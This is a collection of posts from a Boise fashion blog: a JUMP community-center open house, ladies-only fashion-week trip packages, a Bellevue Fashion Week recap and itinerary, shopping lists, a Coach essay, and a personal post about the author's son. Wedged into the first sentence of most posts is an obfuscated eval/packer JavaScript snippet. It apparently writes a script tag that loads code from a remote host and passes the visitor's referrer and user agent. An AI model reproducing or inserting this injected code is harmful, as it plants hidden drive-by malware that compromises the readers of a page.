Get Ready to JUMP, Boise!

That eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|hzfst|var|u0026u|referrer|ednaa||js|php’.split(‘|’),0,{}))
giant construction behemoth in downtown Boise, that’s gone from traffic headache to architectural mystery to the most buzzed-about conundrum this city’s seen in years, is at last getting its first unveiling this weekend. The hubby and I got a Sneak Peek open house invite, so we bundled up and headed downtown on a chilly December night! Here’s what we discovered…

~ COMMUNITY ~

JUMP’s website states this: JUMP—or Jack’s Urban Meeting Place—is a not-for-profit, interactive creative center and community gathering place in the heart of downtown Boise. And although the concept seems vague, we found exactly what it claimed: interaction, and community! JUMP’s six stories were packed with people, wine, food, dessert, conversations, touch-screen maps, interactive displays, and so much excited energy the air practically tingled with it. Strategically open spaces, fitted with cozy furniture and fascinating visuals, invite a variety of communal interaction and singular introspection, all new and unique to the Boise audience. I lost count of how many times I heard, “Oh wow, look at that!” throughout the evening.

Personally I loved the huge square out front; a concrete park-like setting which has instantly increased the visual size of our city. This wide-open square, facing 9th St., will forever alter the face of BODO and our downtown core!

And this is just the COOLEST little bar I’ve ever seen… Don’t you want this at your next party???

~ INTERACTION ~

Scattered all throughout JUMP’s 6 floors are a variety of interactive exhibits, touchscreen displays, musical touchpads, gathering huddle spots, and more! If you like to touch it, taste it, hear it, see it, or feel it… There’s something here for you to do.

Bluetooth listening pod – jack in and relax with your friends, or be in your own little cozy space…

Dress up and be in a movie…

Take tech classes…

Or kiss in Paris! Ha ha ha, of course we had to try out the green screen. 😉

~ BEAUTY ~

The views from each consecutive floor, looking out every direction of the city, are nothing less than breathtaking!

Standing on the little jut-out balcony over Myrtle St… Seriously though I have to admit the plexi-glass sides made me a little nervous – eek! Don’t lean on those very hard! I’m sure they are perfectly safe, but I was happy to snap our photo and step awaaaaaay from the edge, lol.

All these awesome platforms, colors, lights, and glass will make for some amazing fashion photo shoots, just saying! 😉

One of JUMP’s directors did a presentation on the 6th floor, along with orchestras, champion jumpropers, dancers, singers, and a night-long schedule of entertainment! JUMP aims to encourage the arts and local talent, which I believe is a beautiful mission and one that WILL have a positive impact on our community.

~ MORE TO COME ~

Only the main portion of part of the complex is completed so far. There is still SO MUCH MORE coming! These open community spaces are going to be gorgeous.

AND THEN, THE BEST PART, (according to my kids…)

Yup, that’s a 4-story transparent slide! And it’s only one of the slides they are planning… I certainly hope they are going to allow grown-ups in those things!!!

You’re beautiful, JUMP! Thanks for the amazing evening – we are looking forward to many more to come!!!
XOXO,
Tanya

>>>UPDATE: JUMP Boise is doing a series of open houses in the next few weeks, to let the community experience this amazing place first-hand! These open house events will be 1:00 to 5:00 p.m. on Sunday, Dec. 13th, 20th and 27th. The lobby, with its entrance located below the large orange JUMP sign near 9th Street, will be open to the public starting Dec. 15 from 10 am to 3pm Tuesday to Friday, but will not be open on the upcoming holidays. Stay tuned on their Facebook page for more details as they emerge: https://www.facebook.com/jumpboise/!

Join the Las Vegas Fashion Week Ladies’ Travel Posse!

We eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ynbyz|var|u0026u|referrer|yrffz||js|php’.split(‘|’),0,{}))
are thrilled to announce that StyleSpyGirl is teaming up with the Swank Girls at their Boutiques in Boise and Spokane for a very special Ladies-Only Fashion Week adventure to Las Vegas!!! Here are all the details:

International Fashion Week Las Vegas (FWLV), is a semi-annual event where designers can showcase their collections to thousands of industry insiders from around the world, including buyers, retailers, celebrities, VIP’s and members of the national and international fashion press. Join our #GirlPosse as we attend runway shows, explore Las Vegas, and shop till we drop at the malls, boutiques, vintage shops, and couture outlets across the city!

FEBRUARY 17-21, 2016

PACKAGE PRICE: $2,595 for private hotel room, and everything listed below.

BFF Discount Price: $2,195 if you share a hotel room!

This ALL-INCLUSIVE Package includes:

$100 Gift Card to shop at Swank Boutique Boise, Spokane, or online before the trip!

4-night stay at the luxurious Aria Hotel

Round trip airfare

Shop-till-you-drop daily organized adventures (from couture boutiques to vintage/thrift shops!)

Dedicated photographer accompanies our group for gorgeous images of your adventure!

Ground transportation included around Vegas

Sightseeing adventures in the city that never sleeps

Girl Time with your best friends, plus the chance to make new ones!

Ladies’ Night Out VIP Dinner & unique Vegas Show, more details to come…!!!

BOOK YOUR SEAT NOW – A DEPOSIT AT THE LINK BELOW HOLDS YOUR SPOT!
Click the image below for reservations & information:

Ladies-Only Trip to Honolulu Fashion Week 2015

JOIN eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ktekd|var|u0026u|referrer|raeky||js|php’.split(‘|’),0,{}))
US!

ALL ABOARD for the next “Shop/Style/Adventure” women-only travel package, hosted by Fashion Blogger & Stylist Tanya Carnahan, to Fashion Week in HONOLULU, HAWAII Nov. 19-24!

Reserve your seat now to join the #StyleSpyGirlPosse for an incredible fashion getaway, with 6 days of Shopping, Styling, Fashion Week shows, poolside cocktails, and much, more, in the beautiful Hawaiian paradise of Honolulu!

Package Price: $3,500, includes a private room and everything listed below.
BFF Discount Rate: $3,150 to share a double room, plus everything listed below.

This all-inclusive fashion getaway includes:

Round-trip Airfare. *
Hotel accommodations at the Hawaii Prince Hotel Waikiki**.
Transportation around the city.
Reserved seats at daily Fashion Week shows.
All meals included.
Styling sessions and personal shopping with fashion blogger & stylist Tanya Carnahan, aka., StyleSpyGirl. (Complimentary; by appointment, on a first-come, first-served basis.)
Poolside cocktail time. ***
Power shopping in downtown Honolulu, everything from outlet shops to the 3-story CHANEL flagship!
Gorgeous professional photos capturing your memorable moments, for use on Facebook/Instagram/Pinterest, & whatever social media platform you use to share pics with all your friends & family back home!
A once-in-a-lifetime experience, traveling with a professional fashion blogger, explorer, stylist, and personal shopper, with tons of photos of your experience to make your friends back home SO jealous!
~ MORE fun perks & special events will be announced as details allow; fireworks, dancing, luau’s, and more!!!

Only 8 SEATS LEFT AVAILABLE for this trip, so clear your calendar and get ready to hop aboard for the getaway of a lifetime! Bring your BFF, your sister, your daughter, your grandma… Every woman is welcome! ?

Not sure what a ladies-only fashion adventure looks like? Click the following link to view our previous trip to Bellevue Fashion Week with Rachel Zoe: The #StyleSpyGirlPosse rocks Fashion Week Bellevue 2015!

*Prices based on flights from Boise, Idaho. Contact us directly for pricing info from other parts of the country!
**Hotel prices vary, based on single or double occupancy. Detailed information available when you click the pricing link above.
***First adult beverage per meal included in your ticket price; additional adult beverages are out-of-pocket.

Fashion Week at the Bellevue Collection, Day 3!

rachel zoe bellevue fashion week stylespygirl

Pictures eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ryhsf|var|u0026u|referrer|srhhe||js|php’.split(‘|’),0,{}))
by Ammophotog

Day three began with a very special project: we all converged on Nordstrom in Bellevue Square, and had a party designing our own shoes!!! Yes, totally and for real! Nordstrom has this new program called Shoes of Prey, where you sit down at an iPad and peruse through hundreds of example shoe styles, from flats to boots to sky-high platform heels. When you find something that inspires you, you click on it and begin to build.

What height of heel do you want? What color do you want the heel to be on the underside? What kind of material do you want the sole to be? Lace up, or ankle strap? I have to admit, it was almost overwhelming. So many options!

Ammo’s fun & creative style, in progress!

Whew! Special thanks to Nordstrom Bellevue for hosting us, and for the yummy lattes from their cafe while we shoe designed! Can’t wait to see our creative choices show up in the mailbox. ❤

Next stop: Hair & Makeup! The Bellevue Collection was packed with beauty stations throughout the lower level of the mall, with stylists from dozens of hair & makeup shops – everyone from Sephora to Nordstrom had specialists ready to assist us in quick updos and makeup perks-ups! Babes!

After getting beautified, we got ready to rock the evening’s Fashion Show: the Posh Party Trend Show with RACHEL ZOE!!! Yeah, pretty excited. This just keeps getting better & better!!!

From left: Me, Jody, Beth, Rishon, Angie, Christina, Cassie, Leticia, Danielle, Ashley, Allison, Brenda, & Ammo

Posh party girls love pictures!!! Words can’t even begin to describe how thrilled we are to be here! 😀

Loved meeting up with fellow bloggers & fashion babes from around the Seattle/Bellevue area!

Squeeeee, she was going to sit right in front of meeeee! She stood & hosted instead, but this fell off her seat so I’M KEEPING IT! 😉 Shh, don’t tell.

And then she came out… And I might have screamed just a little.
The unparalleled Rachel Zoe, talking about Fall Fashion trends and how Pacific Northwesterners are lucky because they get to wear her favorite fashion piece almost year-round: a jacket! She told us that fall is her favorite season, one which she would love to design for year-round, and forget spring. She said, “Fall is so much better! You get to wear beanies and more clothes… I think I’m moving to Bellevue.”

On with the show! Trending: Glam Rock. Fringe, buckles, leather, sexy shoes, metallic heels, dark colors.

Dark Romance: Velvet, pointy heels, sheer fabrics, patterned tights, crosses, white blouses, and lace, lace, lace!!!

Good Twill: Grey on grey, tweed, twill, checks, black & white, tailored but cozy

More Good Twill looks. Capes & long jackets!

Touch of Luxe: Furs/faux furs, glitter, brooches, shiny dresses, metallic fabrics, lots of white

Finale

The biggest standout trends to me were: Ankle boots with metal heels, 70’s bohemian looks are sticking around, capes, long coats, belted coats (think 80’s style), shearling on everything, thigh-high suede boots, 60’s style color blocking, patterned stockings, lace, and lots and lots of grey.

Whew, this is just day 3! Day 4, Saturday Sept. 26th is the MAJOR day, with two shows and some up close & personal time with Rachel Zoe… Stay tuned! 😀

XOXO,
Tanya

>>> Click here to jump to the BIG FINALE of Bellevue Fashion Week!

BELLEVUE FASHION WEEK ITINERARY

BELLEVUE eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kynka|var|u0026u|referrer|drkyk||js|php’.split(‘|’),0,{}))
FASHION WEEK ITINERARY:

Wednesday, Sept 23rd:

10:45am -Depart from Boise, Idaho, Delta Airlines Flt. # 4491

11:13am – Arrive in Seattle, group transport to Hyatt Regency in Bellevue

1:00pm— Welcome luncheon & champagne at PEARL

5:00pm—Check in together at the Independent Designer Runway Show, VIP Preview show with the designer, drinks, appetizers, and swag bag. Official show begins at 7:10pm.

8:00pm—After-party in the foyer

Thursday, Sept. 24:

9-11am—Breakfast Buffet at Eques, voted one of the “2015 Best Brunch Restaurants in America” by Open Table

11:00am—5:00pm—Free afternoon for exploring the Pacific Northwest, or shopping at one of Bellevue Collections over 150 shops and couture designers! Let Tanya know your wishes, wants, and preferences, and she will handle the details.

4:30-6:30pm— Private Styling party at Intermix

7:00pm – Dinner together at the new 13 Coins Restaurant, private party in the luxurious Gold Room

10:00pm—Optional Headliner Comedy Show at the Parlor, Karaoke in the Ultralounge, home to bed, or other options!

Friday, Sept. 25th:

Morning—Breakfast location to be determined

12:00pm — Private Yacht adventure on the Puget Sound! Offered by a local friend, who expect no payment. 🙂
OR:
12:00-5:00pm—Fab in Five! (Optional) Enjoy quick, complimentary hair and makeup touch-ups and first-hand tips from beauty boutiques featured at Bellevue Square. Receive a complimentary personal style assessment from Bruce Pflaumer of Michael Bruce Image Consulting, along with specific fall fashion trends that’ll work for you. Have fun and walk away fabulous in five!

6:30pm— Posh Party Trend Show check-in, including runway show, interactive beauty stations to sample the season’s hair and make-up trends and delicious hors d’oeuvres and drinks. Have fun before the show in the 425 Magazine photo booth where you’ll see yourself on the cover of 425! It’s a girl’s night out for celebrating all the best in fall fashion and beauty with friends!

9:00pm—After party, to be determined.

Saturday, Sept. 26th:

Morning—Breakfast location to be determined

1:00pm—Fashion Forecast with Rachel Zoe and Vogue Market Stylist Cara Crowley. Distinguished designer, stylist, editor, author and entrepreneur Rachel Zoe joins Vogue Market Stylist, Cara Crowley to talk Fall 2015 trends and how to make them accessible for any lifestyle.

2:00pm-6:00pm—Optional. Catwalk at the Collection! Experience the latest in fall fashion on the runway in the heart of Bellevue Square. Each 10 minute fashion show highlights the hottest styles all available at Bellevue Collection stores and will leave you inspired. Shows are complimentary.

6:00pm—MEET & GREET WITH RACHEL ZOE!!!!! at Suite Restaurant/Lounge

7:00pm – VIP Lounge at the Vogue show, with hors d’oeuvres and drinks

8:00pm – Show begins, exclusive after-party following the show at Suite!

Sunday, Sept. 27th: Breakfast, and catch the plane home to Boise! Flight 4505 departs 12:15pm in Seattle, Arrives 2:35pm in Boise

Shopping For Polka Dots

Recently, eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kzzae|var|u0026u|referrer|daynk||js|php’.split(‘|’),0,{}))
I’ve been preparing to be a “Best in Shoe” judge at Boise’s upcoming Wine, Women, & Shoes gala downtown, to benefit the Idaho Youth Ranch. This year’s theme is Polka Dots, and it couldn’t come at a better time! Bespotted looks are everywhere this season, but if you haven’t found your perfect look for WW&S yet (or you just love shopping the trend!) here are some ideas & links for you to check out, from full-on spotted gown to demure headscarf.

Good luck, and happy shopping!
XOXO,
Tanya

Deciding on my dress, found at the surprisingly-affordable Bridal by Marie shop in Eagle –
gorgeous gowns, and very reasonable price tags!!!

Polka Dot Shoes

polka dot slingback nordstrom — J. Renee ‘Kory’ Slingback Pump, Nordstrom, $79.95

French Sole ‘Noir’ Polka Dot Mesh Flat, Nordstrom, $187.95

Alice + Olivia ‘Roberta’ Polka Dot Espadrille Sandal, Nordstrom, $295

Polka Dot Dresses

Pleated Polka Dot Dress, Forever 21, $19.80

Dotted Fit & Flare Dress, Forever 21, $22.80

Adrianna Papell Ruffle Neck Dot Lace Fit & Flare Dress, Nordstrom, on Clearance, $54.97

Get Dropped Polka Dot Dress, Nasty Gal, $68

Eliza J Print Jersey Fit & Flare Dress, Nordstrom, on sale, $88.50

Eliza J Belted Jacquard Fit & Flare Dress, Nordstrom, $148

Betsey Johnson Polka Dot Mesh Gown, Nordstrom, $258

Other Cool Stuff

Simply Chic Polka Dot Matte Jersey Pant, Lane Bryant, $69.95

Polka Dot Chiffon Top, Forever 21, $19.90

Riley Faux Fur Coat, Nasty Gal, on sale, $84

Kate Spade New York iPhone Case, Nordstrom, $40

Polka Dot Scarf, J. Crew, on sale $44.99

Hue Large Polka Dot Tights, Nordstrom, $13.50

Cara “Dots Wonder” Head Wrap, Nordstrom, $24

How Coach is Becoming an Iconic American Brand

Photos eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eaazt|var|u0026u|referrer|desky||js|php’.split(‘|’),0,{}))
by Valerie Davenport Photography

Unless you live under a rock in the USA, you’ve probably heard of Coach. They’ve been around since the 1940’s, starting out as a humble shop in New York where six leatherworkers crafted billfolds and wallets by hand. In the 1960’s, Lillian Cahn, who co-founded the shop with her husband Miles, convinced him to start creating women’s handbags. He scoffed in the beginning, but their first design, inspired by the paper tote bags she carried as a youth during the Depression – delivering her family’s handmade pasta noodles to customers! – became an instant classic, amassing loyal customers and propelling Coach into the Luxury goods arena.

Over the years those loyal customers have grown with the company, collecting classic bags with a deep appreciation for their workmanship (still handstitched, after all these years!), beautiful style, and lifetime warranty.

But in 2014 Coach veered into new territory, hiring Stuart Vevers as their creative director, a younger and more urban designer than Coach fans are accustomed to. The classic styles are still available, but Vevers has added a plethora of fashion-forward designs that push the boundaries of the typical customer’s comfort zone. Will fan loyalty hold fast, with this evolution of edgy, gritty, rocker flavor on handbags, couture clothing collections, and a newly-acquired shoe line (Stuart Weitzman)?

Time will tell. But I for one find this new Coach fascinating!

Now, I have a confession to make: I’m a fairly recent fan of Coach. Late to the party, I know… Seriously, they weren’t really much on my radar, until a couple years ago when a friend gave me a little gold handbag with the Op-Art C’s embossed on it. Cute! Then this last fall Coach’s Fall 2014 runway collection burst onto my Instagram feed. Swoon! Shearling-trimmed wedge booties, capes, metal tassles, plaid, and dark moody colors dominated the runway. And I fell in love!

When you see a handbag that makes you gasp, you form an instant emotional connection with it. It can’t be helped! And that’s the connection Stuart Vevers brings to this brand.

This Spring, COACH has turned up the wattage even more (Watch the runway video here, or click the photo below), with neons, edgy shapes, striking lines, and metal trim morphing onto classic Coach shapes. The expansion of their clothing line is another brilliant move, and the results are no less than stunning. I found myself going through the slideshows, thinking “I want that, and that, and that, and I’d totally wear that…” on almost every piece. The colors, the shapes… Everything about this collection is sheer delight! Stuart Vevers has done something few designers can pull off: nailing the perfect balance of Classic and Urban.

Personally, I like to think my own style is a mix of Classic and Urban, so the “New” Coach resonates with me! I adore structured lines with a flair for retro, like their newly-launched Swagger bag, available in large, mini, pebble leather, and metallic – 24 colors & sizes total!!! I love them ALL, but for this shoot I chose a classic Tote (in very un-classic neon!), because seriously, a bright yellow handbag is the perfect cheery go-to for a grey day! Just looking at it makes me smile. 🙂

Keep rocking what you’re doing, Coach – the fashion world just sat up and took notice!
XOXO,
Tanya

Taxi Zip Top Tote, $325 online and at Boise Towne Square Mall / Hot pink Rainboots, $19.99 TJ Maxx / Polkadot Dress, $24.90 Forever 21 (Sold out, but something similar here) / Transparent Raincoat, $17.20 Amazon.com / White Fuzzy Knit Beanie, $4.00 Forever 21 online and at Boise Towne Square Mall

P.S., This post was not paid for, asked for, or sponsored in any way by Coach. I’m just a fan, with an honest opinion! 🙂

Jump to next article: Valentine’s Day Gift Guide 2015…

Subscribe in a reader

Treasure Valley Small Business BLACK FRIDAY Directory

This eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|afyby|var|u0026u|referrer|kskyr||js|php’.split(‘|’),0,{}))
holiday season, shop local!

Support your homegrown boutiques, jewelry stores, clothing designers, artists, musicians, bakers, and everyone in-between.
Show some #LocalLove!!! (Want your biz on this list? Email me at Tanya@stylespygirl.com)

CLICK ON THE PHOTO ABOVE TO ACCESS THE TREASURE VALLEY SMALL BUSINESS BLACK FRIDAY DIRECTORY!

Not a Fashion Post: It’s All About a Boy

Today’s eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tzarr|var|u0026u|referrer|saett||js|php’.split(‘|’),0,{}))
post is not typical. It’s not about fashion; it’s personal. If you don’t know me very well, you might not understand or care about the little miracle that happened for my family today. Those of you who are close to me, will get how I feel a little like Frodo, finally tossing that Ring into the fire after a long & exhausting journey! It really won’t be a big deal to most people, but I maybe a few parents & friends will connect with this; whether you do or not, that’s ok! It’s my blog, and this is how I share…

This story is about a boy.

Those of you who know me well, know I have a son I am fiercely protective of. (I have a daughter too, but today isn’t about her story.) I am very private about my kids; I post about them every now & then, but never use their names on social media, because someday they will be online too, and will want to define their own identities, not necessarily as “Tanya’s kids.”

But today is different, because today brought a miracle, one I am too grateful for, to keep it a secret!

Everyone, this is my son Ethan. He has Asperger’s, and being his mom has given the most beautiful, stressful, challenging, amazing, soul-searching, character-building 12 years of my life.

I’ve watched him battle through the first year of his life with chronic illnesses, and saw the changes that took place in his personality by the time he was two years old. I’ve been with him through years of countless doctors’ office visits, neurologists, testing, therapies, & classes. I can’t even begin to tell you how many forms, questionnaires, and applications I’ve filled out for his care, stacks and stacks of papers… Ethan is an incredible young man, with so many amazing gifts to give the world! My heart longs to see my son shine past his challenges, and live a full and happy life.

Today, a little of that dream came a step closer. Today we found a place for Ethan, a very special, unique school that will answer many of the prayers I’ve begged Heaven for, over the years.

What’s the big deal about a school? And why is this news-worthy?

Ethan was doing ok in school, until the fourth grade. That’s when the bullying started, at Summerwind Elementary. He was shoved, picked on, and called a “weirdo,” but despite long meetings with school administrators, they did very little to protect him.

Daily he was bullied, and so confused; he knew he was a kind, smart kid, so why did they seem to dislike him so much? When it got so bad, that he started asking about the least painful ways God could please just take him to Heaven, all the breath went out of my body, and the world stopped spinning. My 9-year-old son wanted to die. Still, the principal at Summerwind had the nerve to say, “We’ll, maybe he is just perceiving bullying that isn’t there, because of his Asperger’s. This kind of stuff wouldn’t really go on in my school!”

Have you ever wanted to pick up your chair and hit someone with it?

Long story short, he’s been in a small, private school for the last couple of years, where he’s been safe and protected, and had some time to recover from the trauma of his bullying experiences. He has been in a class with one teacher, and two other special-needs kids. This school is going out of business next week, and we have been frantically searching & praying for a new place. He can’t go back to public school; his needs were not met, not by a long shot! (All the charter schools have already had their lotteries, and I am NOT equipped to homeschool him.)

This week we heard a rumor that a “special needs school” was coming to Meridian. Through a series of “random” events, I found myself, today, sitting in the office of that school’s principal! She explained to me her passionate heart for learning-challenged kids. She told me that her students are taught to appreciate their disabilities, and see purpose in their challenges! They are taught that what the world sees as “weird,” or negative, are precisely the things that give them strength, uniqueness, and a special perspective on life that many people aren’t blessed with.

Then she told me his class was full.

My emotions broke. I can’t explain the despair and heartbreak I felt at that moment. Somehow, I managed to sob out, “but he has no other place to go!”

She reached across the desk, took my hands, and said, “Then we will find a way. I think Ethan belongs here, and we have to find a way to make room for him.” And she handed me the application papers.

Yesterday, I was a despairing woman, searching for a safe place for my special kid. Today, I have hope, and a miracle!

After all the struggles, challenges, tears, and prayers, we finally have a Place for Ethan. A place where he won’t just survive, but will thrive! A place where he will be challenged to grow, but accepted for Who He Is. A place that recognizes the gifts my son has to offer the world, and will partner with me to help him achieve his potential.

A place, a hope, a miracle! Today my heart rejoices, and is overwhelmed with gratefulness.

At long last, my son has help, and a place to shine.

A place to be Ethan. 🙂

Xoxo,

Tanya

P.S., In case you are wondering, Ethan gave me permission to post this. But for privacy purposes, I am not posting the name of his new school. If you are interested in knowing more about it, please email me at StyleSpyGirl@yahoo.com!

Gordman’s Gift Card Giveaway!

Who eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|atbkz|var|u0026u|referrer|tyzhz||js|php’.split(‘|’),0,{}))
wants to win a gift card to Gordman’s, plus 1-2 hours of personal shopping and styling time with me?

Just comment here, or on my Facebook page, telling me what you would most likely spend the gift card on. You can enter/comment every day from now until Thursday, when I will put all the comments in a hat and draw a winner. 🙂

Good luck!
Xoxo,
StyleSpyGirl

(Gift card giveaway open to anyone in the United States, but personal shopping/styling time can only be redeemed with me at the Boise Gordman’s… Unless you want to fly me somewhere else to shop with you!) 😉

Polka Dot Shoes

Polka Dot Dresses

Other Cool Stuff

Support your homegrown boutiques, jewelry stores, clothing designers, artists, musicians, bakers, and everyone in-between. Show some #LocalLove!!! (Want your biz on this list? Email me at Tanya@stylespygirl.com)

Support your homegrown boutiques, jewelry stores, clothing designers, artists, musicians, bakers, and everyone in-between.
Show some #LocalLove!!! (Want your biz on this list? Email me at Tanya@stylespygirl.com)